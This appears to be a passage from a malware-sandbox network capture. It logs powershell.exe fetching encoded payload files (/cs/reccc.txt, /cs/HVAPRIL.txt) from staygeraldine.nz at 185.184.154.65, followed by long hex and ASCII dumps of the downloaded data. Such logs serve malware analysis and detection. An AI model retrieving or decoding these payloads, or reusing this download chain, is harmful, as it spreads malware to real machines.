2024-05-01 06:37:53 UTC	1369	IN	Data Raw: 1d 13 85 1f 76 75 23 8f 4d 56 78 a0 db 5c 89 23 5d bd be 18 60 c1 e2 dc 63 5a 51 55 ef 81 e8 13 ed 54 52 b8 67 d3 35 06 21 42 f7 c7 f5 3f 6b f4 b0 e9 83 36 96 50 38 1c 1a 39 e4 21 7b e1 23 51 ec 79 eb 87 62 25 fd dc 88 ac 3b f2 70 37 0f da d8 1e 20 cb a5 9a 8f bb 62 69 f6 af 4b bd 80 d2 4a 0d f3 6d 99 4e a1 18 aa 00 54 76 ba c5 66 01 19 58 46 a0 9e 4d 1b c0 f4 9f fc 4d a0 59 96 63 a2 70 ed c7 5e 71 6d 5f da 5d 16 bb 4c d0 49 a3 93 67 00 8b eb 9e 73 57 aa 68 d3 7e d0 c7 b7 c3 07 0e a5 a7 87 70 00 71 c8 1e f8 1a de 1f e2 fa 0f 09 59 57 4d a1 98 96 3c 96 ec 31 98 be d6 69 8b 94 3a 47 51 d4 1b eb 98 7a 67 79 94 a1 b0 41 ac 60 e9 d5 c8 26 35 b5 e3 9e 30 35 9b ed 4c 09 3b 37 91 20 42 bd 3e 39 57 fb 53 a7 53 ea d3 48 54 fc 73 38 e9 8b 72 d1 aa a8 e3 ae 53 53 a5 Data Ascii: vu#MVx\#]`cZQUTRg5!B?k6P89!{#Qyb%;p7 biKJmNTvfXFMMYcp^qm_]LIgsWh~pqYWM<1i:GQzgyA`&505L;7 B>9WSSHTs8rSS
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: 34 2f a5 6d 8c cd d3 9f 6e 71 af 23 4f 2a 2a 19 ce e6 21 78 42 07 e7 8a 6a fc 36 18 23 94 09 98 95 e9 cf 5c 04 9d 56 48 91 90 b1 a5 a2 3f ae 5c b2 4a ea cb 1a 92 00 5a 51 db df 2f a3 d8 a4 ab 10 23 22 c9 ee 49 ed 97 45 58 dd bc b1 e9 e8 d6 3a 57 38 03 48 9b ce e1 c8 37 c5 71 58 cc 40 34 92 16 56 25 56 c1 39 29 13 cc cc c3 8d a6 f2 f2 b1 d8 52 36 05 82 d3 57 d3 00 0f 36 e7 24 a9 6d c4 d0 1c e0 52 17 2e c4 13 63 db 8e 31 85 d3 ee 89 5c 1d ac b6 4f be 2b 36 a9 a1 b5 04 97 ef 7d b0 08 b0 97 3d 79 5e a7 13 9d 97 7e e1 5b b2 3c d9 ca ef 2d 4a c6 b2 d3 45 12 51 56 bb 17 f5 c0 e8 b5 0c 7d 3b aa ba 1f 7c 31 d4 c8 06 ed a4 af 7a c4 95 77 72 38 af 86 30 db cb 14 2f 60 76 18 04 49 3c c5 52 b4 08 fc 40 fc f1 89 1b 69 da 2a ab af c7 12 89 1d 24 21 40 03 83 ce 16 42 e4 Data Ascii: 4/mnq#O*!xBj6#\VH?\JZQ/#"IEX:W8H7qX@4V%V9)R6W6$mR.c1\O+6}=y^~[<-JEQV};\|1zwr80/`vI<R@i$!@B
2024-05-01 06:37:53 UTC	1369	IN	Data Raw: 40 74 f1 23 89 4b 32 c8 64 7d de db 48 a3 f1 04 93 7e d8 8e af c5 f5 07 57 12 0d 39 d3 a6 e0 c4 b2 db 15 27 36 1e 09 5e 16 48 e4 65 0c 49 0d 60 70 47 b0 1d 7e a3 01 49 74 6b a9 8d 4e e2 50 a2 b6 d5 e4 1e 49 35 5c 59 f7 c6 84 70 a0 0c 23 0a 15 78 25 79 03 db 32 f4 11 eb 24 f1 a6 3a a9 e9 51 2f 62 31 0a 18 dd 0a ee 48 e4 e6 bc 8a ea db 55 0c 9c 85 36 68 55 e0 7c f3 ed 4a be 9b c4 d0 47 34 a5 5d 43 72 6a ba f1 9c 9a 8d 34 fa 38 fc e5 32 35 ed 0a 41 e0 9b 3d 47 3d b1 df b4 70 a6 a3 c7 e1 47 00 2f 93 7c 76 00 1e f9 e7 0a 9d 3e a4 84 2a c5 4d ab 29 b1 f0 fd 70 1c d6 68 d7 4a c1 96 65 65 6e 42 f3 78 a1 7d c7 36 f4 fe 1b 36 ae 17 d4 4f ea 91 d7 d0 a5 bf 13 76 24 df 18 b6 ab 45 14 5a 58 5c 3a ac db 03 32 96 14 dd 41 20 fc 0e 06 68 bb eb 43 0d 04 07 53 a8 8e 21 76 Data Ascii: @t#K2d}H~W9'6^HeI`pG~ItkNPI5\Yp#x%y2$:Q/b1HU6hU\|JG4]Crj4825A=G=pG/\|v>*M)phJeenBx}66Ov$EZX\:2A hCS!v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49754	185.184.154.65	443	3632	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 06:38:01 UTC	78	OUT	GET /cs/reccc.txt HTTP/1.1 Host: staygeraldine.nz Connection: Keep-Alive
2024-05-01 06:38:02 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 01 May 2024 06:38:01 GMT Content-Type: text/plain Content-Length: 659456 Connection: close Upgrade: h2,h2c Last-Modified: Tue, 30 Apr 2024 05:21:47 GMT Accept-Ranges: bytes Vary: Accept-Encoding
2024-05-01 06:38:02 UTC	15112	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 44 71 38 67 49 50 73 78 44 54 38 77 43 50 49 73 44 2f 37 77 39 4f 77 75 44 6c 37 51 33 4f 55 74 44 4d 37 41 68 4f 73 72 44 7a 36 77 71 4f 4d 71 44 62 36 51 6b 4f 6f 6f 44 45 36 67 67 4f 45 6f 44 41 35 77 66 4f 34 6e 44 39 35 41 36 4d 30 4d 44 4d 79 51 71 4d 67 4b 44 68 79 41 6f 4d 38 4a 44 63 79 67 6c 4d 49 4a 44 4f 79 67 69 4d 59 45 44 36 78 67 64 4d 55 48 44 30 78 77 63 4d 49 48 44 78 78 41 63 4d 38 47 44 75 78 77 61 4d 6f 47 44 70 78 41 61 4d 63 47 44 6d 78 51 5a 4d 51 47 44 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwDq8gIPsxDT8wCPIsD/7w9OwuDl7Q3OUtDM7AhOsrDz6wqOMqDb6QkOooDE6ggOEoDA5wfO4nD95A6M0MDMyQqMgKDhyAoM8JDcyglMIJDOygiMYED6xgdMUHD0xwcMIHDxxAcM8GDuxwaMoGDpxAaMcGDmxQZMQGD
2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 79 45 6e 4d 65 4a 54 57 79 51 6c 4d 2f 49 7a 4d 79 4d 69 4d 55 49 54 42 78 67 5a 4d 70 46 6a 4d 77 67 50 4d 78 44 6a 72 77 4d 4b 4d 41 43 54 65 77 51 48 4d 64 42 6a 4e 41 41 41 41 73 44 51 41 67 42 77 50 77 2f 6a 75 2f 4d 70 50 74 37 7a 73 39 73 4e 50 41 79 7a 62 38 51 7a 4f 35 70 6a 31 36 41 74 4f 48 72 54 6a 36 38 6c 4f 6e 6b 54 37 35 30 63 4f 46 6e 44 75 35 55 61 4f 57 6d 6a 67 35 6f 58 4f 7a 6c 44 61 35 34 56 4f 53 5a 7a 78 30 30 45 4e 36 51 6a 4a 30 6f 78 4d 6f 50 6a 75 7a 4d 35 4d 37 4e 6a 63 7a 34 31 4d 45 4e 44 4f 7a 45 7a 4d 50 49 44 2f 79 49 75 4d 31 4b 7a 72 79 38 6f 4d 33 4a 6a 61 79 59 6c 4d 46 46 54 36 78 49 61 4d 64 47 54 6a 78 67 55 4d 35 45 44 4a 78 6f 52 4d 41 41 6a 37 77 77 4e 4d 47 43 54 59 77 77 46 4d 58 42 6a 51 77 77 44 4d 30 41 6a Data Ascii: yEnMeJTWyQlM/IzMyMiMUITBxgZMpFjMwgPMxDjrwMKMACTewQHMdBjNAAAAsDQAgBwPw/ju/MpPt7zs9sNPAyzb8QzO5pj16AtOHrTj68lOnkT750cOFnDu5UaOWmjg5oXOzlDa54VOSZzx00EN6QjJ0oxMoPjuzM5M7Njcz41MENDOzEzMPID/yIuM1Kzry8oM3JjayYlMFFT6xIaMdGTjxgUM5EDJxoRMAAj7wwNMGCTYwwFMXBjQwwDM0Aj
2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 4e 2f 2f 2f 54 32 38 2f 2f 50 35 7a 2f 2f 2f 6b 50 2f 2f 2f 54 36 38 2f 2f 76 5a 30 2f 2f 76 54 72 2b 4f 7a 41 63 36 2f 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 4a 41 55 37 2f 4d 44 77 70 2f 2f 50 41 6d 2b 2f 2f 41 55 36 2f 2f 44 51 70 2f 2f 50 41 6c 2b 2f 2f 41 55 36 2f 2f 44 51 70 2f 2f 50 41 6c 2b 2f 2f 41 55 36 2f 2f 44 51 70 2f 2f 50 41 6c 2b 2f 2f 41 55 36 2f 2f 44 41 70 2f 2f 50 41 6b 2b 2f 2f 41 51 36 2f 2f 44 41 70 2f 2f 50 41 6b 2b 2f 2f 41 51 36 2f 2f 44 41 70 2f 2f 50 41 6b 2b 2f 2f 41 51 36 2f 2f 44 41 70 2f 2f 50 41 6b 2b 2f 2f 41 51 36 2f 2f 44 41 70 2f 2f 50 41 6b 2b 2f 2f 41 51 36 2f 2f 44 41 70 2f 2f 50 41 6b 2b 2f 2f 41 51 36 2f 2f 44 41 70 2f 2f 50 Data Ascii: N///T28//P5z///kP///T68//vZ0//vTr+OzAc6/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgJAU7/MDwp//PAm+//AU6//DQp//PAl+//AU6//DQp//PAl+//AU6//DQp//PAl+//AU6//DAp//PAk+//AQ6//DAp//PAk+//AQ6//DAp//PAk+//AQ6//DAp//PAk+//AQ6//DAp//PAk+//AQ6//DAp//PAk+//AQ6//DAp//P
2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 2f 6a 4e 41 41 41 41 41 2f 2f 2f 2f 2b 44 41 41 41 41 41 41 45 74 54 32 41 41 41 41 41 38 2f 2f 2f 37 50 41 41 41 41 41 2f 2f 2f 2f 55 44 41 41 41 41 77 2f 2f 2f 76 2f 41 41 41 41 41 41 41 52 37 67 49 41 41 41 41 41 2f 2f 2f 2f 2b 44 41 41 41 41 77 2f 2f 2f 50 31 41 41 41 41 41 38 2f 2f 2f 37 50 41 45 46 6a 2b 41 51 55 4d 71 44 41 41 41 41 41 41 45 4a 6a 41 41 41 41 41 41 38 2f 2f 2f 37 50 41 41 41 41 41 2f 2f 2f 2f 55 44 41 41 41 41 77 2f 2f 2f 50 35 41 41 41 41 41 41 41 52 76 6f 45 41 41 41 41 41 2f 2f 2f 2f 2b 44 41 41 41 41 77 2f 2f 2f 50 31 41 41 41 41 41 38 2f 2f 2f 37 50 41 41 41 41 41 41 51 6b 4a 68 43 41 41 41 41 77 2f 2f 2f 76 2f 41 41 41 41 41 38 2f 2f 2f 44 4e 41 41 41 41 41 2f 2f 2f 2f 2b 44 41 41 41 41 41 41 45 46 43 49 41 41 41 41 41 38 2f Data Ascii: /jNAAAAA////+DAAAAAAEtT2AAAAA8///7PAAAAA////UDAAAAw///v/AAAAAAAR7gIAAAAA////+DAAAAw///P1AAAAA8///7PAEFj+AQUMqDAAAAAAEJjAAAAAA8///7PAAAAA////UDAAAAw///P5AAAAAAARvoEAAAAA////+DAAAAw///P1AAAAA8///7PAAAAAAQkJhCAAAAw///v/AAAAA8///DNAAAAA////+DAAAAAAEFCIAAAAA8/
2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 43 52 54 4d 42 46 6b 51 45 4e 44 52 30 49 6b 4e 77 59 6a 52 42 68 6a 4d 34 59 55 4d 79 55 6a 51 47 4e 54 4e 77 6b 7a 4d 78 67 44 4e 32 4d 55 4f 79 51 44 4e 43 56 54 4f 7a 49 6a 4e 32 49 30 51 46 4e 54 52 35 51 30 51 35 55 45 4e 77 51 44 4d 33 49 6b 4e 77 55 45 4f 31 67 6a 4e 44 42 41 41 35 41 44 4e 32 67 7a 4d 78 6b 54 52 78 63 6a 51 47 5a 6a 51 43 56 55 51 33 51 7a 51 35 6b 44 4f 34 49 55 4f 44 56 6a 51 43 4e 44 4d 45 56 54 51 35 41 7a 4e 47 68 44 4e 78 41 7a 51 44 5a 30 4e 43 5a 6a 4e 35 59 6b 4d 47 4a 30 4d 34 63 44 4f 32 67 54 4d 31 45 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b Data Ascii: CRTMBFkQENDR0IkNwYjRBhjM4YUMyUjQGNTNwkzMxgDN2MUOyQDNCVTOzIjN2I0QFNTR5Q0Q5UENwQDM3IkNwUEO1gjNDBAA5ADN2gzMxkTRxcjQGZjQCVUQ3QzQ5kDO4IUODVjQCNDMEVTQ5AzNGhDNxAzQDZ0NCZjN5YkMGJ0M4cDO2gTM1EkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZk
2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 43 33 46 75 63 78 46 35 49 52 43 4a 73 78 67 42 47 6f 67 6b 4a 6c 30 32 55 6f 67 43 65 51 6e 4f 36 34 45 5a 79 49 6a 56 62 44 4f 34 37 30 36 32 62 62 6e 46 4c 73 51 48 38 36 6c 58 69 66 71 33 65 6e 48 4b 55 51 42 50 72 68 4c 75 54 66 73 37 75 6e 43 6a 47 5a 6b 79 4c 67 49 69 44 75 44 6b 51 75 4b 56 71 6f 69 66 45 4a 69 49 6d 4e 4b 33 63 2f 6e 6e 50 39 55 30 5a 45 59 67 59 43 4d 59 67 42 71 35 7a 4e 58 6c 79 6b 52 47 72 6f 62 58 64 64 4f 79 6b 52 47 72 36 31 54 50 48 78 76 66 2b 4a 59 56 6e 65 71 38 54 53 4d 78 58 35 79 46 58 6b 44 69 45 52 45 7a 31 63 35 6c 69 36 37 58 66 46 2b 77 73 7a 2b 4c 6d 4d 78 45 31 67 42 44 4d 51 52 67 4e 33 4d 54 2f 4b 74 30 74 31 2f 38 7a 37 51 35 2f 2f 76 47 67 41 42 45 77 49 55 49 68 4d 32 72 61 72 64 64 33 5a 72 74 42 50 47 Data Ascii: C3FucxF5IRCJsxgBGogkJl02UogCeQnO64EZyIjVbDO47062bbnFLsQH86lXifq3enHKUQBPrhLuTfs7unCjGZkyLgIiDuDkQuKVqoifEJiImNK3c/nnP9U0ZEYgYCMYgBq5zNXlykRGrobXddOykRGr61TPHxvf+JYVneq8TSMxX5yFXkDiEREz1c5li67XfF+wsz+LmMxE1gBDMQRgN3MT/Kt0t1/8z7Q5//vGgABEwIUIhM2rardd3ZrtBPG
2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 59 4c 7a 50 54 7a 77 73 6e 75 4c 4d 41 30 6a 4f 71 37 74 76 50 67 77 76 2f 49 64 31 42 62 33 43 41 43 51 50 72 6b 54 61 73 36 35 4e 35 39 6a 30 59 47 48 77 44 68 4e 41 39 49 42 73 61 34 43 44 5a 49 78 50 53 4c 6d 59 6d 47 42 65 41 30 54 46 2b 42 42 4b 6b 2b 52 2b 2f 49 74 4a 4f 38 6b 51 49 42 51 50 6e 67 6c 4c 6a 77 67 44 66 2f 54 30 77 76 64 46 36 67 4c 41 39 30 7a 7a 2b 49 32 2f 45 36 33 50 52 58 72 65 77 77 4b 57 41 30 54 49 79 6e 58 49 74 77 56 6d 2f 45 74 65 58 6d 52 61 51 43 51 50 78 77 44 49 43 4a 69 75 4c 2b 54 30 41 39 69 76 43 6a 48 41 39 59 52 4e 4f 59 66 38 64 43 34 50 51 2f 66 32 4e 4c 4e 71 41 30 54 4e 70 72 55 6a 77 45 73 4d 2f 41 74 78 78 31 68 61 34 43 51 50 79 45 6d 32 39 39 37 38 75 2b 44 30 48 47 6a 56 68 67 4b 41 39 73 68 61 54 6d 62 Data Ascii: YLzPTzwsnuLMA0jOq7tvPgwv/Id1Bb3CACQPrkTas65N59j0YGHwDhNA9IBsa4CDZIxPSLmYmGBeA0TF+BBKk+R+/ItJO8kQIBQPnglLjwgDf/T0wvdF6gLA90zz+I2/E63PRXrewwKWA0TIynXItwVm/EteXmRaQCQPxwDICJiuL+T0A9ivCjHA9YRNOYf8dC4PQ/f2NLNqA0TNprUjwEsM/Atxx1ha4CQPyEm29978u+D0HGjVhgKA9shaTmb
2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 41 41 77 50 76 6a 4d 67 41 41 41 41 41 38 7a 37 4a 44 49 41 41 41 41 41 2f 38 75 79 41 43 41 41 41 41 77 50 76 76 4d 67 41 41 41 41 41 38 7a 37 4d 44 49 41 41 41 41 41 2f 38 65 7a 41 43 41 41 41 41 77 50 76 37 4d 67 41 41 41 41 41 38 7a 37 50 44 49 41 41 41 41 41 2f 38 4f 30 41 43 41 41 41 41 77 50 76 48 4e 67 41 41 41 41 41 38 7a 37 53 44 49 41 41 41 41 41 2f 38 2b 30 41 42 41 41 41 41 77 50 76 54 4e 51 41 41 41 41 41 38 7a 37 56 44 45 41 41 41 41 41 2f 38 75 31 41 42 41 41 41 41 77 50 76 66 4e 51 41 41 41 41 41 38 7a 37 59 44 45 41 41 41 41 41 2f 38 65 32 41 42 41 41 41 41 77 50 76 72 4e 51 41 41 41 41 41 38 7a 37 62 44 45 41 41 41 41 41 2f 38 4f 33 41 42 41 41 41 41 77 50 76 33 4e 51 41 41 41 41 41 38 7a 37 65 44 45 41 41 41 41 41 2f 38 2b 33 41 42 41 Data Ascii: AAwPvjMgAAAAA8z7JDIAAAAA/8uyACAAAAwPvvMgAAAAA8z7MDIAAAAA/8ezACAAAAwPv7MgAAAAA8z7PDIAAAAA/8O0ACAAAAwPvHNgAAAAA8z7SDIAAAAA/8+0ABAAAAwPvTNQAAAAA8z7VDEAAAAA/8u1ABAAAAwPvfNQAAAAA8z7YDEAAAAA/8e2ABAAAAwPvrNQAAAAA8z7bDEAAAAA/8O3ABAAAAwPv3NQAAAAA8z7eDEAAAAA/8+3ABA
2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 41 41 41 41 7a 42 77 63 41 6b 47 41 33 42 77 63 41 30 43 41 75 42 51 59 41 30 47 41 79 42 51 5a 41 63 47 41 41 41 77 5a 41 49 48 41 31 42 77 62 41 49 47 41 74 42 51 5a 41 67 48 41 31 42 41 62 41 30 43 41 75 42 51 59 41 30 47 41 79 42 51 5a 41 63 47 41 41 41 67 62 41 6b 47 41 6c 42 41 64 41 4d 48 41 75 42 51 5a 41 51 48 41 6f 42 77 59 41 6b 47 41 73 42 51 4c 41 34 47 41 68 42 51 62 41 49 48 41 6c 42 77 5a 41 41 41 41 75 42 51 59 41 6b 47 41 79 42 41 64 41 4d 48 41 31 42 51 59 41 30 43 41 75 42 51 59 41 30 47 41 79 42 51 5a 41 63 47 41 41 41 41 41 41 4d 48 41 7a 42 51 61 41 63 48 41 7a 42 51 4c 41 67 47 41 6a 42 67 62 41 55 47 41 79 42 67 5a 41 41 41 41 6e 42 67 63 41 55 48 41 76 42 67 59 41 30 47 41 6c 42 41 65 41 55 48 41 73 42 51 4c 41 67 47 41 6a 42 67 Data Ascii: AAAAzBwcAkGA3BwcA0CAuBQYA0GAyBQZAcGAAAwZAIHA1BwbAIGAtBQZAgHA1BAbA0CAuBQYA0GAyBQZAcGAAAgbAkGAlBAdAMHAuBQZAQHAoBwYAkGAsBQLA4GAhBQbAIHAlBwZAAAAuBQYAkGAyBAdAMHA1BQYA0CAuBQYA0GAyBQZAcGAAAAAAMHAzBQaAcHAzBQLAgGAjBgbAUGAyBgZAAAAnBgcAUHAvBgYA0GAlBAeAUHAsBQLAgGAjBg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49755	185.184.154.65	443	1220	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 06:38:01 UTC	80	OUT	GET /cs/HVAPRIL.txt HTTP/1.1 Host: staygeraldine.nz Connection: Keep-Alive
2024-05-01 06:38:02 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 01 May 2024 06:38:01 GMT Content-Type: text/plain Content-Length: 600064 Connection: close Upgrade: h2,h2c Last-Modified: Mon, 29 Apr 2024 08:38:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding
2024-05-01 06:38:02 UTC	15112	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-05-01 06:38:02 UTC	822	IN	Data Raw: 53 37 2f 57 6b 2b 44 37 34 33 41 2f 50 58 42 77 70 6c 74 65 53 2f 70 39 62 66 6b 2b 6a 4e 56 61 42 2f 70 2f 66 75 70 6c 4c 55 5a 4e 6a 2b 2f 33 4d 71 6a 37 45 39 7a 62 2f 5a 33 4d 2f 59 36 34 76 68 76 2f 74 38 76 67 79 7a 74 6a 52 54 7a 6e 78 2b 7a 6d 66 35 34 61 2b 61 36 75 67 62 45 63 7a 6b 33 6a 6d 5a 7a 6f 2f 2f 59 69 76 68 77 76 6e 32 39 30 75 38 43 2f 37 33 66 67 50 44 62 4a 33 61 32 79 67 66 73 73 32 51 77 66 39 6d 32 66 33 2b 4f 55 35 6e 6c 4e 34 38 6e 39 47 4e 43 4e 2f 51 42 4f 73 73 37 77 2f 35 62 4e 31 55 57 67 5a 7a 31 2f 2f 66 30 4e 33 2b 51 37 33 55 44 72 34 38 76 38 67 66 66 53 7a 36 77 36 38 4b 59 38 54 6d 47 58 45 43 45 2f 73 39 33 6c 32 79 31 75 77 2f 2f 58 55 74 64 50 45 67 39 32 6a 36 33 44 6b 33 45 38 64 45 78 69 62 6c 2f 4e 78 73 52 Data Ascii: S7/Wk+D743A/PXBwplteS/p9bfk+jNVaB/p/fuplLUZNj+/3Mqj7E9zb/Z3M/Y64vhv/t8vgyztjRTznx+zmf54a+a6ugbEczk3jmZzo//Yivhwvn290u8C/73fgPDbJ3a2ygfss2Qwf9m2f3+OU5nlN48n9GNCN/QBOss7w/5bN1UWgZz1//f0N3+Q73UDr48v8gffSz6w68KY8TmGXECE/s93l2y1uw//XUtdPEg92j63Dk3E8dExibl/NxsR
2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 57 71 73 69 2b 38 66 46 31 51 54 4e 31 35 52 36 41 49 50 6d 48 4f 34 6e 61 74 52 2b 41 73 4b 69 69 44 6e 30 59 2b 5a 73 36 39 64 33 79 6c 46 48 75 33 56 57 62 2f 73 66 78 42 50 2f 78 7a 61 71 47 6d 32 57 39 6e 34 2b 55 68 64 64 47 41 6a 50 56 46 43 49 76 49 64 42 52 47 56 36 6b 6a 57 38 78 68 35 43 6a 2f 55 71 45 6e 31 62 6d 35 75 4d 30 55 6e 74 4c 68 72 6a 37 63 64 50 38 64 79 32 41 5a 43 35 58 49 5a 5a 78 58 65 46 49 44 30 48 5a 48 6a 47 59 43 6f 45 66 6d 67 56 45 54 65 52 55 56 69 46 54 53 47 73 75 43 6a 49 61 61 31 2f 61 4f 36 4e 69 33 78 4e 65 34 57 45 46 77 4e 68 2b 6a 33 64 6f 63 4b 65 59 58 33 66 2b 7a 38 4b 5a 77 42 7a 77 61 41 58 75 6f 52 2b 32 72 69 49 47 4d 48 5a 62 37 76 56 50 4c 4f 61 69 32 50 2b 48 57 71 43 2f 4e 2b 4a 48 30 4f 79 57 39 68 Data Ascii: Wqsi+8fF1QTN15R6AIPmHO4natR+AsKiiDn0Y+Zs69d3ylFHu3VWb/sfxBP/xzaqGm2W9n4+UhddGAjPVFCIvIdBRGV6kjW8xh5Cj/UqEn1bm5uM0UntLhrj7cdP8dy2AZC5XIZZxXeFID0HZHjGYCoEfmgVETeRUViFTSGsuCjIaa1/aO6Ni3xNe4WEFwNh+j3docKeYX3f+z8KZwBzwaAXuoR+2riIGMHZb7vVPLOai2P+HWqC/N+JH0OyW9h
2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 47 6d 52 2b 54 59 6c 38 34 4f 61 57 53 47 52 57 46 4a 4f 69 4b 74 39 70 39 33 57 47 63 6a 41 35 67 33 6f 7a 49 52 5a 55 6e 30 69 56 50 52 63 59 42 4d 66 34 4f 59 75 2f 46 66 70 70 62 32 46 2f 4a 79 63 2f 59 2b 76 44 4e 4e 35 47 66 43 61 61 4f 32 79 49 30 30 74 6a 6c 68 4a 71 37 68 59 55 6e 51 37 52 69 6d 2f 35 55 2b 74 59 59 61 6e 68 33 65 4c 46 7a 57 4f 4f 44 6e 4c 50 39 37 6f 66 71 6f 49 66 30 74 43 39 38 5a 67 46 6a 46 5a 4c 2f 5a 7a 50 34 76 32 65 2f 38 79 38 62 4a 70 32 35 62 42 72 69 4f 65 6c 32 38 79 4d 42 41 2f 5a 43 64 6f 50 6e 4c 55 50 4a 62 49 7a 48 70 4b 48 58 48 45 44 36 4b 77 66 4c 71 4f 6f 66 62 55 59 67 51 68 35 54 39 69 6d 65 74 4d 35 57 4f 36 6a 6c 2f 7a 57 56 73 66 79 77 2b 68 36 66 50 66 65 31 35 43 32 2f 68 4a 2b 2b 4d 51 32 44 33 79 Data Ascii: GmR+TYl84OaWSGRWFJOiKt9p93WGcjA5g3ozIRZUn0iVPRcYBMf4OYu/Ffppb2F/Jyc/Y+vDNN5GfCaaO2yI00tjlhJq7hYUnQ7Rim/5U+tYYanh3eLFzWOODnLP97ofqoIf0tC98ZgFjFZL/ZzP4v2e/8y8bJp25bBriOel28yMBA/ZCdoPnLUPJbIzHpKHXHED6KwfLqOofbUYgQh5T9imetM5WO6jl/zWVsfyw+h6fPfe15C2/hJ++MQ2D3y
